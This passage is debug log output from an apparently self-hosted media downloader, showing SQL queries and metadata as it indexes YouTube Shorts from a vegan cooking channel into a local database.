s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:23.362 [debug] QUERY OK source="media_items" db=1.6ms queue=0.6ms idle=445.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-12 17:00:11Z], 1] 20:29:23.364 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=445.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan! Easy, colourful, delicious 🤤\n\nCheck out my latest What I Eat in a Week video: https://youtu.be/8E3Vra03ZVY", "Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts", "3bf13e8b-df6f-4fbd-9349-dc4e6ebc0f19", 1, [], 11, false, "Nk7eZWND1GE", "https://www.youtube.com/shorts/Nk7eZWND1GE", 382, "/downloads/downloads/alec/Steamy Vegan/2022-06-12 Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts/Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts [Nk7eZWND1GE].NA", false, false, true, 0, ~U[2022-06-12 17:00:11Z], ~U[2026-03-22 03:29:23Z], ~U[2026-03-22 03:29:23Z], "What I eat in a day as a vegan! Easy, colourful, delicious 🤤\n\nCheck out my latest What I Eat in a Week video: https://youtu.be/8E3Vra03ZVY", "Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts", 1, 11, false, "Nk7eZWND1GE", "https://www.youtube.com/shorts/Nk7eZWND1GE", "/downloads/downloads/alec/Steamy Vegan/2022-06-12 Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts/Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts [Nk7eZWND1GE].NA", true, ~U[2022-06-12 17:00:11Z]] 20:29:23.365 [debug] QUERY OK source="sources" db=0.5ms queue=0.7ms idle=446.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:23.366 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.5ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:23.369 [debug] QUERY OK source="media_items" db=0.9ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [771] 20:29:23.369 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Love this song about pie from Peter Griffin and the Family Guy crew. We also believe it should always be a wonderful day for pie for anyone on a vegan or gluten free diet too!\n\nEnjoy these 2 pie recipes with two different crust options for you:\nStrawberry Rhubarb Pie Video: https://youtu.be/42Ra2CeeUM8\nChocolate Avocado Cream Pie Video: https://youtu.be/8GSEsZWhkhs\n\nThe strawberry rhubarb pie has a delicious almond flour crust while the chocolate avocado pie has a crust made from pecans, brown rice flour, agave nectar and a few other ingredients. Both crusts can be made with your favorite versions of pie and they're gluten free, vegan and absolutely delicious.", "duration" => 29, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-11 IT'S A WONDERFUL DAY FOR PIE!/IT'S A WONDERFUL DAY FOR PIE! [FFX_q1yx-JI].NA", "id" => "FFX_q1yx-JI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FFX_q1yx-JI", "playlist_index" => 383, "timestamp" => 1654956900, "title" => "IT'S A WONDERFUL DAY FOR PIE!", "upload_date" => "20220611"} 20:29:23.372 [debug] QUERY OK source="sources" db=2.7ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:23.373 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:23.376 [debug] QUERY OK source="media_items" db=2.9ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-11 14:15:00Z], 1] 20:29:23.378 [debug] QUERY OK source="media_items" db=1.3ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Love this song about pie from Peter Griffin and the Family Guy crew. We also believe it should always be a wonderful day for pie for anyone on a vegan or gluten free diet too!\n\nEnjoy these 2 pie recipes with two different crust options for you:\nStrawberry Rhubarb Pie Video: https://youtu.be/42Ra2CeeUM8\nChocolate Avocado Cream Pie Video: https://youtu.be/8GSEsZWhkhs\n\nThe strawberry rhubarb pie has a delicious almond flour crust while the chocolate avocado pie has a crust made from pecans, brown rice flour, agave nectar and a few other ingredients. Both crusts can be made with your favorite versions of pie and they're gluten free, vegan and absolutely delicious.", "IT'S A WONDERFUL DAY FOR PIE!", "214b4e82-62d6-49c2-92bf-a1210c1b7248", 1, [], 29, false, "FFX_q1yx-JI", "https://www.youtube.com/shorts/FFX_q1yx-JI", 383, "/downloads/downloads/alec/Steamy Vegan/2022-06-11 IT'S A WONDERFUL DAY FOR PIE!/IT'S A WONDERFUL DAY FOR PIE! [FFX_q1yx-JI].NA", false, false, true, 0, ~U[2022-06-11 14:15:00Z], ~U[2026-03-22 03:29:23Z], ~U[2026-03-22 03:29:23Z], "Love this song about pie from Peter Griffin and the Family Guy crew. We also believe it should always be a wonderful day for pie for anyone on a vegan or gluten free diet too!\n\nEnjoy these 2 pie recipes with two different crust options for you:\nStrawberry Rhubarb Pie Video: https://youtu.be/42Ra2CeeUM8\nChocolate Avocado Cream Pie Video: https://youtu.be/8GSEsZWhkhs\n\nThe strawberry rhubarb pie has a delicious almond flour crust while the chocolate avocado pie has a crust made from pecans, brown rice flour, agave nectar and a few other ingredients. Both crusts can be made with your favorite versions of pie and they're gluten free, vegan and absolutely delicious.", "IT'S A WONDERFUL DAY FOR PIE!", 1, 29, false, "FFX_q1yx-JI", "https://www.youtube.com/shorts/FFX_q1yx-JI", "/downloads/downloads/alec/Steamy Vegan/2022-06-11 IT'S A WONDERFUL DAY FOR PIE!/IT'S A WONDERFUL DAY FOR PIE! [FFX_q1yx-JI].NA", true, ~U[2022-06-11 14:15:00Z]] 20:29:23.379 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:23.380 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:23.381 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [772] 20:29:23.381 [debug] Current batch of media processed. Will check again in 1000ms 20:29:24.382 [debug] Current batch of media processed. Will check again in 1000ms 20:29:25.383 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I eat in a week as a gluten-free vegan 🌱 Just a little sneaky peak at some of the foods I eat in a week that are simple, delicious and yummy! It’s all about balance 😊 \n\nCheck out the full video on my YouTube if you’re keen to catch the recipes ➡️\nhttps://youtu.be/8E3Vra03ZVY also in bio\n\n#steamyvegankitchen #steamyvegan #whatieatinaday #whatieat #whatieatinaweek #veganwhatieatinaday #yvrvegan #vancouvervegan", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-11 What I eat in a week 💚 #vegan #shorts/What I eat in a week 💚 #vegan #shorts [xfqTIh20PwA].NA", "id" => "xfqTIh20PwA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/xfqTIh20PwA", "playlist_index" => 384, "timestamp" => 1654907409, "title" => "What I eat in a week 💚 #vegan #shorts", "upload_date" => "20220611"} 20:29:25.384 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=930.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:25.385 [debug] QUERY OK source="sources" db=0.6ms idle=801.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:25.387 [debug] QUERY OK source="media_items" db=1.9ms idle=802.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-11 00:30:09Z], 1] 20:29:25.389 [debug] QUERY OK source="media_items" db=0.9ms idle=804.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a week as a gluten-free vegan 🌱 Just a little sneaky peak at some of the foods I eat in a week that are simple, delicious and yummy! It’s all about balance 😊 \n\nCheck out the full video on my YouTube if you’re keen to catch the recipes ➡️\nhttps://youtu.be/8E3Vra03ZVY also in bio\n\n#steamyvegankitchen #steamyvegan #whatieatinaday #whatieat #whatieatinaweek #veganwhatieatinaday #yvrvegan #vancouvervegan", "What I eat in a week 💚 #vegan #shorts", "8176ade0-bd77-4e90-8fb1-054c60fbc75b", 1, [], 15, false, "xfqTIh20PwA", "https://www.youtube.com/shorts/xfqTIh20PwA", 384, "/downloads/downloads/alec/Steamy Vegan/2022-06-11 What I eat in a week 💚 #vegan #shorts/What I eat in a week 💚 #vegan #shorts [xfqTIh20PwA].NA", false, false, true, 1, ~U[2022-06-11 00:30:09Z], ~U[2026-03-22 03:29:25Z], ~U[2026-03-22 03:29:25Z], "What I eat in a week as a gluten-free vegan 🌱 Just a little sneaky peak at some of the foods I eat in a week that are simple, delicious and yummy! It’s all about balance 😊 \n\nCheck out the full video on my YouTube if you’re keen to catch the recipes ➡️\nhttps://youtu.be/8E3Vra03ZVY also in bio\n\n#steamyvegankitchen #steamyvegan #whatieatinaday #whatieat #whatieatinaweek #veganwhatieatinaday #yvrvegan #vancouvervegan", "What I eat in a week 💚 #vegan #shorts", 1, 15, false, "xfqTIh20PwA", "https://www.youtube.com/shorts/xfqTIh20PwA", "/downloads/downloads/alec/Steamy Vegan/2022-06-11 What I eat in a week 💚 #vegan #shorts/What I eat in a week 💚 #vegan #shorts [xfqTIh20PwA].NA", true, ~U[2022-06-11 00:30:09Z]] 20:29:25.390 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=805.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:25.390 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:25.391 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [773] 20:29:25.391 [debug] Current batch of media processed. Will check again in 1000ms 20:29:26.392 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "FULL RECIPE VIDEO: https://youtu.be/42Ra2CeeUM8\n\nThis strawberry rhubarb pie would definitely make Homer Simpson drool. It's a must try recipe and you can easily make it vegan and gluten free just like I do if you want.", "duration" => 6, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-10 Homer Simpson Approved Pie/Homer Simpson Approved Pie [omYgfwBf8oU].NA", "id" => "omYgfwBf8oU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/omYgfwBf8oU", "playlist_index" => 385, "timestamp" => 1654880425, "title" => "Homer Simpson Approved Pie", "upload_date" => "20220610"} 20:29:26.393 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:26.394 [debug] QUERY OK source="sources" db=0.6ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:26.397 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-10 17:00:25Z], 1] 20:29:26.399 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/42Ra2CeeUM8\n\nThis strawberry rhubarb pie would definitely make Homer Simpson drool. It's a must try recipe and you can easily make it vegan and gluten free just like I do if you want.", "Homer Simpson Approved Pie", "47aafc39-3218-4384-b676-7385cacf8f69", 1, [], 6, false, "omYgfwBf8oU", "https://www.youtube.com/shorts/omYgfwBf8oU", 385, "/downloads/downloads/alec/Steamy Vegan/2022-06-10 Homer Simpson Approved Pie/Homer Simpson Approved Pie [omYgfwBf8oU].NA", false, false, true, 1, ~U[2022-06-10 17:00:25Z], ~U[2026-03-22 03:29:26Z], ~U[2026-03-22 03:29:26Z], "FULL RECIPE VIDEO: https://youtu.be/42Ra2CeeUM8\n\nThis strawberry rhubarb pie would definitely make Homer Simpson drool. It's a must try recipe and you can easily make it vegan and gluten free just like I do if you want.", "Homer Simpson Approved Pie", 1, 6, false, "omYgfwBf8oU", "https://www.youtube.com/shorts/omYgfwBf8oU", "/downloads/downloads/alec/Steamy Vegan/2022-06-10 Homer Simpson Approved Pie/Homer Simpson Approved Pie [omYgfwBf8oU].NA", true, ~U[2022-06-10 17:00:25Z]] 20:29:26.399 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=943.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:26.400 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:26.401 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [774] 20:29:26.401 [debug] Current batch of media processed. Will check again in 1000ms 20:29:27.402 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 40, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-10 HOT AND STEAMY MASSAGE. Massaged kale that is!/HOT AND STEAMY MASSAGE. Massaged kale that is! [4o0AYESqNKA].NA", "id" => "4o0AYESqNKA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/4o0AYESqNKA", "playlist_index" => 386, "timestamp" => 1654873202, "title" => "HOT AND STEAMY MASSAGE. Massaged kale that is!", "upload_date" => "20220610"} 20:29:27.403 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:27.404 [debug] QUERY OK source="sources" db=0.7ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:27.406 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1004.5ms 